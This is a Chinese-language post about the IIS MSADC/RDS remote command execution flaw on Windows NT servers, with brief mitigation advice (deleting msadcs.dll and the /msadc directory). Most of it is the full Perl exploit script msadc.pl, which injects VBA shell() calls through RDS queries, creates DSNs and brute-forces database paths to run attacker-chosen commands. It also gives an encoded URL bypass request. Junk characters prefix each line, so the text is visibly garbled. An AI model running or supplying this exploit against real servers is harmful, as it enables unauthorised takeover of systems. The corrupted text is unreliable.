IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
cJhf{{_oR h] D=v B 涉及程序：
UIu'x_qc Microsoft NT server
klx4Mvq+/@ "?N`9J|j)~ 描述：
@lj 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
Cw+ (,1 4 bJ3uIP# 详细：
I&cb5j]C 如果你没有时间读详细内容的话，就删除:
t^7R6 y c:\Program Files\Common Files\System\Msadc\msadcs.dll
y k#:.5H 有关的安全问题就没有了。
@E==~ b ~ib#x~Db 微软对关于Msadc的问题发了三次以上的补丁，仍然存在问题。
@L~y%# '17=1\Ss6; 1、第一次补丁，基本上，其安全问题是MS Jet 3.5造成的，它允许调用VBA shell()函数，这将允许入侵者远程运行shell指令。
~pF'Qw" z| 关于利用ODBC远程漏洞的描述，请参看:
o+ tY[UX
&bL1G(} http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm "@f`O DL~LSh 2、IIS 4.0的缺省安装设置的是MDAC1.5，这个安装下有一个/msadc/msadcs.dll的文件，也允许通过web远程访问ODBC，获取系统的控制权，这点在很多黑客论坛都讨论过，请参看
4$|G$ h http://www.microsoft.com/security/bulletins/MS99-025faq.asp @*_K#3
g`R s; 这里不再论述。
Xpa;F$VI ,O-lDzcw 3、如果web目录下的/msadc/msadcs.dll/可以访问，那么ms的任何补丁可能都没用，用类似:
AOfQqGf da-3hM!u+ /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
k?";$C}# 的请求，就可以绕过安全机制进行非法的VbBusObj请求，从而达到入侵的目的。 下面的代码仅供测试，严禁用于非法用途，否则后果自负!!!
-(59F j"NqNv fx}R 7GN2 #将下面这段保存为txt文件，然后: "perl -x 文件名"
=_wgKXBFa ioviJ7N%
O #!perl
A2vOI8 #
d>aZpJ[. # MSADC/RDS 'usage' (aka exploit) script
v\HGL56T #
a1}W2;W0]g # by rain.forest.puppy
Z>D7C?v:( #
A l` ;SWN # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
PD$'xY|1= # beta test and find errors!
|Jq/kmn >kB ?C!\ use Socket; use Getopt::Std;
QUe.v b^O getopts("e:vd:h:XR", \%args);
&R8zuD`# OE[/sv print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
zO+nEsf^O Z os~1N]3 if (!defined $args{h} && !defined $args{R}) {
)WFUAzuN, print qq~
\ u)(+t{ Usage: msadc.pl -h <host> { -d <delay> -X -v }
("TI ~ -h <host> = host you want to scan (ip or domain)
|FNP~5v -d <seconds> = delay between calls, default 1 second
-\I0*L'$|\ -X = dump Index Server path table, if available
+fwq9I>L -v = verbose
uj]GBo= -e = external dictionary file for step 5
?Rwn1. Z F1+2V"~ Or a -R will resume a command session
* r % LD 6fi ~; exit;}
U .rH,` bX9}G#+U $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
K crF=cA if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
o/[NUQSI if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
g = %W"v if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
N2~z&y8. $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
*i\7dJ Dj if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
uUJ2d84tV Yw{](qG7e` if (!defined $args{R}){ $ret = &has_msadc;
w5[POo' 5 die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
w?/,LV r>G$u print "Please type the NT commandline you want to run (cmd /c assumed):\n"
%_ z] iz4 . "cmd /c ";
fkI<RgM $in=<STDIN>; chomp $in;
Zkz:h7GUG- $command="cmd /c " . $in ;
@&~BGh mDq0 1fU4 if (defined $args{R}) {&load; exit;}
tL3( ( W" U "}Kth print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
Z2`e*c-[E &try_btcustmr;
MJD4# G NH?s print "\nStep 2: Trying to make our own DSN...";
:Ert5 7@l &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
~f@;.
']dTW#i print "\nStep 3: Trying known DSNs...";
)Q\;N C=4 &known_dsn;
rLVAI#ci= 0p#36 czqy print "\nStep 4: Trying known .mdbs...";
Lr+2L_/v` &known_mdb;
7f(UbO@BD Q vqBT if (defined $args{e}){
~+d]yeDrhx print "\nStep 5: Trying dictionary of DSN names...";
N@)g3mX> &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
dk.da&P G +YF print "Sorry Charley...maybe next time?\n";
J LeV@NO exit;
G%6wk=IH
+FJ
o!~1 ##############################################################################
a;lCr|* `=\G>#p<T sub sendraw { # ripped and modded from whisker
( {8Q=Gh sleep($delay); # it's a DoS on the server! At least on mine...
9~4Kbmr>q my ($pstr)=@_;
16] O^R;r socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
s$]I@;_ die("Socket problems\n");
x:@e ID if(connect(S,pack "SnA4x8",2,80,$target)){
1'g? B` select(S); $|=1;
.N5"IY6> print $pstr; my @in=<S>;
-Rf|p(SJ,E select(STDOUT); close(S);
adxJA}K } return @in;
bEy%S "\< } else { die("Can't connect...\n"); }}
<n #JOjHV ) wGC=, ##############################################################################
SC!IQ80H#D ~svu0[Vx sub make_header { # make the HTTP request
aN7u
j my $msadc=<<EOT
QF^An B POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
@ce4sSo User-Agent: ACTIVEDATA
0W>O,%z&P# Host: $ip
k"n#4o: Content-Length: $clen
\t1vYIY]T Connection: Keep-Alive
Ig6s'^ Ge
@d" ADCClientVersion:01.06
U}
g%`< Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
omY?`(= D QZS%) --!ADM!ROX!YOUR!WORLD!
!<~Ig/ Content-Type: application/x-varg
k4`v(au^ Content-Length: $reqlen
9 np<r82 W]R5\ G* EOT
gG $o8c- ; $msadc=~s/\n/\r\n/g;
R
vY`9D return $msadc;}
:q= X E$%H ,= PDL ##############################################################################
Mc\lzq8\ 1
&hF>}O sub make_req { # make the RDS request
mg 3jm my ($switch, $p1, $p2)=@_;
~ PP G U1 my $req=""; my $t1, $t2, $query, $dsn;
'}}DPo V l@GpVdrv if ($switch==1){ # this is the btcustmr.mdb query
q6,xsO,+ $query="Select * from Customers where City=" . make_shell();
qItI):9U $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
%tu{`PN< $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
w%$n )7<* 0lBl5k e elsif ($switch==2){ # this is general make table query
sG}9 l1 $query="create table AZZ (B int, C varchar(10))";
O_:Q# $dsn="$p1";}
3 C[ ;2 X)|%[aX}q elsif ($switch==3){ # this is general exploit table query
o3`Z@-.G $query="select * from AZZ where C=" . make_shell();
q!7\`>.2:{ $dsn="$p1";}
?/u &U\P x r=f9?%R elsif ($switch==4){ # attempt to hork file info from index server
;3-ssF}k* $query="select path from scope()";
TLkkB09fvk $dsn="Provider=MSIDXS;";}
f8n'9HOw> zb3ir| elsif ($switch==5){ # bad query
g-]t d8}# $query="select";
kiECJ@5p $dsn="$p1";}
NR3IeTd )-sEm`(`I9 $t1= make_unicode($query);
vdo[qk\C $t2= make_unicode($dsn);
\k* ]w_ m- $req = "\x02\x00\x03\x00";
Pgo5&SQb $req.= "\x08\x00" . pack ("S1", length($t1));
PJ _|=bn $req.= "\x00\x00" . $t1 ;
Vs"M Cqi $req.= "\x08\x00" . pack ("S1", length($t2));
a:8@:d1T K $req.= "\x00\x00" . $t2 ;
6s uc0 $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
jG/ kT5 S return $req;}
>B9rr0 d0 Xrv rN^' ##############################################################################
LD5'4,%- <.AIV p sub make_shell { # this makes the shell() statement
Zdak))7 return "'|shell(\"$command\")|'";}
d#W[<, SrKF\h%/+ ##############################################################################
QoW3*1o H1@"Yg8 sub make_unicode { # quick little function to convert to unicode
FJD*A `a my ($in)=@_; my $out;
,CdI.kV>o2 for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
O-|3k$'\z return $out;}
~q9RZ#g13J 4gZN~_AI< ##############################################################################
i0 R =P [ |[V( u sub rdo_success { # checks for RDO return success (this is kludge)
=];FojC6I my (@in) = @_; my $base=content_start(@in);
1H ZexV if($in[$base]=~/multipart\/mixed/){
j@:L M R> return 1 if( $in[$base+10]=~/^\x09\x00/ );}
4SO j>(a# return 0;}
]F_u S !e0 : ##############################################################################
ql zL< K[9 <a>D` sub make_dsn { # this makes a DSN for us
{<i!Pm my @drives=("c","d","e","f");
} Jc^p print "\nMaking DSN: ";
CUtk4;^y# foreach $drive (@drives) {
? ,!qh print "$drive: ";
O=m J8W@ my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
i44`$ps "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
bv ] ZUF0 . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
;Rt,"W) $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
k4|YaGhf return 0 if $2 eq "404"; # not found/doesn't exist
N0XGW_f if($2 eq "200") {
XR +2|o foreach $line (@results) {
9*x9sfCv9 return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
&Y,Rm78 } return 0;}
Z# :W w @!Pq"/ ##############################################################################
&A`QPk8n UO wj"#
sub verify_exists {
Y8N&[L[z& my ($page)=@_;
Z<w g` my @results=sendraw("GET $page HTTP/1.0\n\n");
n
b{8zo return $results[0];}
yf$7<gwX fL@[B{XMM ##############################################################################
4A Sc`w*0 t EN %mK sub try_btcustmr {
Gh< r_O~L3 my @drives=("c","d","e","f");
W[vak F my @dirs=("winnt","winnt35","winnt351","win","windows");
[~;9Mi.XL U@*z#T#"m foreach $dir (@dirs) {
"44X'G8N print "$dir -> "; # fun status so you can see progress
DS^Q0 f foreach $drive (@drives) {
` ,|7X]%b print "$drive: "; # ditto
5H5< ft, $reqlen=length( make_req(1,$drive,$dir) ) - 28;
d W=]|t& $reqlenlen=length( "$reqlen" );
%>s y`c $clen= 206 + $reqlenlen + $reqlen;
]02V,'x D]0#A|n F my @results=sendraw(make_header() . make_req(1,$drive,$dir));
7_|zMk.J* if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
1, /oS&?E else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
)i?wBxq'MA Tc qqAc ##############################################################################
Axcm~ !uf i\3`?d sub odbc_error {
R` N-^x my (@in)=@_; my $base;
-W oZwqh my $base = content_start(@in);
#\"5:.H Oz if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
mjw:Z, $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
`fL$t0 " $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
Ms$kL'/ $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
sQ_{zOUPh return $in[$base+4].$in[$base+5].$in[$base+6];}
2#rF/!`^ print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
TN0d fba[ print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
avT>0b : $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
U_!6pqFc Z)ObFJMG5 ##############################################################################
N#UyAm< 9 S |B7HS5 sub verbose {
>Rr]e`3wG my ($in)=@_;
0>AA-~=- return if !$verbose;
eHv/3"Og print STDOUT "\n$in\n";}
^y?? pp<1J e06r5%|.% ##############################################################################
VJPt/Dy{ Vdjca:` sub save {
f6z[k_lLN my ($p1, $p2, $p3, $p4)=@_;
Bp b _y;E open(OUT, ">rds.save") || print "Problem saving parameters...\n";
sqkPC_;A print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
K/08F|]a close OUT;}
Xf.SJ8G zIlQqyOQ8 ##############################################################################
0R; ;ou Gz
kf sub load {
z,^baU my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
x&7!m
open(IN,"<rds.save") || die("Couldn't open rds.save\n");
]@<O!fS @p=<IN>; close(IN);
Bq\%]2;eo{ $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
? 1_*ct=g9 $target= inet_aton($ip) || die("inet_aton problems");
khyV uWN
print "Resuming to $ip ...";
BK -{z).) $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
2"13!s if($p[1]==1) {
'Yj /M $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
jirxzj $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
`M|fwlA JQ my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
X${k if (rdo_success(@results)){print "Success!\n";}
`" else { print "failed\n"; verbose(odbc_error(@results));}}
9]|cs elsif ($p[1]==3){
@ Gl=1 if(run_query("$p[3]")){
<Nkj)`%5iK print "Success!\n";} else { print "failed\n"; }}
T[c ;}, elsif ($p[1]==4){
e O*F oN if(run_query($drvst . "$p[3]")){
cm-! 6' ` print "Success!\n"; } else { print "failed\n"; }}
9V\5`QXu exit;}
&6!x;RB _TkiI. ' ##############################################################################
8?ZK^+]y xC{ W_a( sub create_table {
rFGbp8(2 my ($in)=@_;
t.3b\RV[ $reqlen=length( make_req(2,$in,"") ) - 28;
k|&@xEbS
$reqlenlen=length( "$reqlen" );
M vQ0"-ZQ $clen= 206 + $reqlenlen + $reqlen;
0b4QcfB1[ my @results=sendraw(make_header() . make_req(2,$in,""));
X\uN:;?#W{ return 1 if rdo_success(@results);
_O)~<Sk-*z my $temp= odbc_error(@results); verbose($temp);
QKe=/; return 1 if $temp=~/Table 'AZZ' already exists/;
HD$W\P return 0;}
2 x t
8F zs WYV n] ##############################################################################
f BukrPsV CGPPo;Rj K sub known_dsn {
Z?dz@d%C # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
7hQrL+%q8 my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
=%p 0r z|b "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
s:6H^DQ"C "banner", "banners", "ads", "ADCDemo", "ADCTest");
)88z=5. 3g)pLW foreach $dSn (@dsns) {
Lxs print ".";
6>zO"9 next if (!is_access("DSN=$dSn"));
Fq9A O~z if(create_table("DSN=$dSn")){
>.0B% print "$dSn successful\n";
M"1}"ex# if(run_query("DSN=$dSn")){
}c$Zlb print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
[>v.#:YM^ print "Something's borked. Use verbose next time\n";}}} print "\n";}
E]i3E[ T `! ##############################################################################
AYfW}V" 7<=xc'*8t sub is_access {
j $,:cN my ($in)=@_;
Qv|A^%Ub! $reqlen=length( make_req(5,$in,"") ) - 28;
7$Jb"s $reqlenlen=length( "$reqlen" );
R8 sj>.I9j $clen= 206 + $reqlenlen + $reqlen;
0 M>+.}e+ my @results=sendraw(make_header() . make_req(5,$in,""));
Ic P]EgB my $temp= odbc_error(@results);
DFcgUEq verbose($temp); return 1 if ($temp=~/Microsoft Access/);
EH=[!iW ; return 0;}
X6kCYTJYF H)ud ?vB6 ##############################################################################
MQ7N8 @!t ,eW K~ pa sub run_query {
srLXwoN[ my ($in)=@_;
F8S% \i
$reqlen=length( make_req(3,$in,"") ) - 28;
wa5wkuS)ld $reqlenlen=length( "$reqlen" );
-X3yCK?re $clen= 206 + $reqlenlen + $reqlen;
`$Z:j;F my @results=sendraw(make_header() . make_req(3,$in,""));
WRe9 ki=R return 1 if rdo_success(@results);
%
tT L my $temp= odbc_error(@results); verbose($temp);
Q9Sh2qF^2 return 0;}
Y({&} \o xk7 MMRb ##############################################################################
[vrM,?X ;=fOyg sub known_mdb {
I<Wp, E9G# my @drives=("c","d","e","f","g");
Op0n.\>
my @dirs=("winnt","winnt35","winnt351","win","windows");
p(=}Qqdr8 my $dir, $drive, $mdb;
Cjc>0)f&. my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
+`}QIp0 dG2k4 O # this is sparse, because I don't know of many
Arc6d5Q my @sysmdbs=( "\\catroot\\icatalog.mdb",
aA7}> "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
yS'W ss
"\\system32\\certmdb.mdb",
}>]V_}h "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
P%2aOsD0 8iA[w-Pv my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
6#hDj_(, "\\cfusion\\cfapps\\forums\\forums_.mdb",
IOhJL' r "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
UuPXo66F ] "\\cfusion\\cfapps\\security\\realm_.mdb",
V"K-aO& "\\cfusion\\cfapps\\security\\data\\realm.mdb",
XYj!nx{k, "\\cfusion\\database\\cfexamples.mdb",
])`w_y(> "\\cfusion\\database\\cfsnippets.mdb",
% Ya %R@b} "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
W8,4LxH "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
+ N n
$ "\\cfusion\\brighttiger\\database\\cleam.mdb",
lJb1{\|., "\\cfusion\\database\\smpolicy.mdb",
;UUpkOQO( "\\cfusion\\database\cypress.mdb",
3Xcjr2 ]~ "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
:{B D/6 "\\website\\cgi-win\\dbsample.mdb",
uGt}H n "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
Gj!9#on$7R "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
C.4r`F$p ); #these are just
rZ'&'#Q foreach $drive (@drives) {
4} . PQ { foreach $dir (@dirs){
/Z^"[Ke foreach $mdb (@sysmdbs) {
[J{\Ke0<e1 print ".";
Bie#GKc if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
=>3wI'I print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
# 0kVhx7% if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
Is&0h| print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
8z1 #Q#5 } else { print "Something's borked. Use verbose next time\n"; }}}}}
WVZ](D8Gc] [` J9 1= foreach $drive (@drives) {
lDsT?yHS`Z foreach $mdb (@mdbs) {
nQ*9E|Vx print ".";
O2{~Q{p if(create_table($drv . $drive . $dir . $mdb)){
d dK\q!0 print "\n" . $drive . $dir . $mdb . " successful\n";
iq1HA.X( if(run_query($drv . $drive . $dir . $mdb)){
.bYZkO:oy print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
&X3G;x2; } else { print "Something's borked. Use verbose next time\n"; }}}}
2i0 . x }
<fS WX>pR aW= c.Q. ##############################################################################
W>#[a % R #
R oJD:9 sub hork_idx {
Eqizx~e qq print "\nAttempting to dump Index Server tables...\n";
L!;"73,&(8 print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
r +:]lO $reqlen=length( make_req(4,"","") ) - 28;
C GN=kQ $reqlenlen=length( "$reqlen" );
f |%II,!3 $clen= 206 + $reqlenlen + $reqlen;
$|"Y|3&X my @results=sendraw2(make_header() . make_req(4,"",""));
c!0u,6 if (rdo_success(@results)){
Ms=5*_J2Jk my $max=@results; my $c; my %d;
_ ck)yY?7 for($c=19; $c<$max; $c++){
/aTW X $results[$c]=~s/\x00//g;
eR3v=Q $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
|VX )S! $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
atiyQuT6Wh $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
h*>%ou $d{"$1$2"}="";}
/O[<"Wcz foreach $c (keys %d){ print "$c\n"; }
\+ M6R<Qw } else {print "Index server doesn't seem to be installed.\n"; }}
o|kiwr}Y {' 8td^JEE ##############################################################################
o%yfR.M6$ !),eEy sub dsn_dict {
v*" ;A open(IN, "<$args{e}") || die("Can't open external dictionary\n");
;NMv>1fI while(<IN>){
!MX n&&e1 $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
LUs)"ZAi| next if (!is_access("DSN=$dSn"));
/9pN.E if(create_table("DSN=$dSn")){
=f RC$ print "$dSn successful\n";
ObPXVqG"? if(run_query("DSN=$dSn")){
&=^YN"=Z print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
pKtN$Fd print "Something's borked. Use verbose next time\n";}}}
J8'1 ~$6 print "\n"; close(IN);}
?kI yo "hmLe(jo} ##############################################################################
'@/1e\ -y - 1{f(/ sub sendraw2 { # ripped and modded from whisker
'Z*`~,Q sleep($delay); # it's a DoS on the server! At least on mine...
+0ALO%G;G" my ($pstr)=@_;
_`I}"`2H socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
* z'v die("Socket problems\n");
WKAG)4 if(connect(S,pack "SnA4x8",2,80,$target)){
T>hrKn.!D: print "Connected. Getting data";
aPdEEqc\l open(OUT,">raw.out"); my @in;
{j6$'v )0 select(S); $|=1; print $pstr;
3Ofh#|qc& while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
bey:Qj?? close(OUT); select(STDOUT); close(S); return @in;
-aq3Lqi } else { die("Can't connect...\n"); }}
C 547}) q 4ttmL8 ##############################################################################
R-Ys<; Q7.jSL6 sub content_start { # this will take in the server headers
2YDD`:R
my (@in)=@_; my $c;
x2,;ar\D for ($c=1;$c<500;$c++) {
h2-v.Tjf if($in[$c] =~/^\x0d\x0a/){
}_Ci3|G>%D if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
7qSnP 30} else { return $c+1; }}}
;E_Go&Vd return -1;} # it should never get here actually
" Tk, K0W X($z~; ##############################################################################
0tz? sN /a* 8z,x sub funky {
.p =OAh< my (@in)=@_; my $error=odbc_error(@in);
SBy{sbx4&F if($error=~/ADO could not find the specified provider/){
F
E Ufskv print "\nServer returned an ADO miscofiguration message\nAborting.\n";
AGl#f\_^ exit;}
/X]gm\x7s if($error=~/A Handler is required/){
s~QIs print "\nServer has custom handler filters (they most likely are patched)\n";
/Y=_EOS exit;}
s 3Wjhw/ if($error=~/specified Handler has denied Access/){
j0=F__H#@ print "\nServer has custom handler filters (they most likely are patched)\n";
9u)p9)^-.v exit;}}
o~<jayqU H u9nJ ##############################################################################
TMGYNb%<bX ihJ!]#Fbm sub has_msadc {
ch2m Ei( my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
H&8~"h6n my $base=content_start(@results);
`_f&T} ] return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
8BrC@L2E0 return 0;}
Egz6rRCvg 1Ys)b[: ########################
\QQWh wE &xt[w>/ i w~_ycY.e 解决方案：
2 OV$M~ 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
l{*m-u 5&; 2、移除web 目录: /msadc
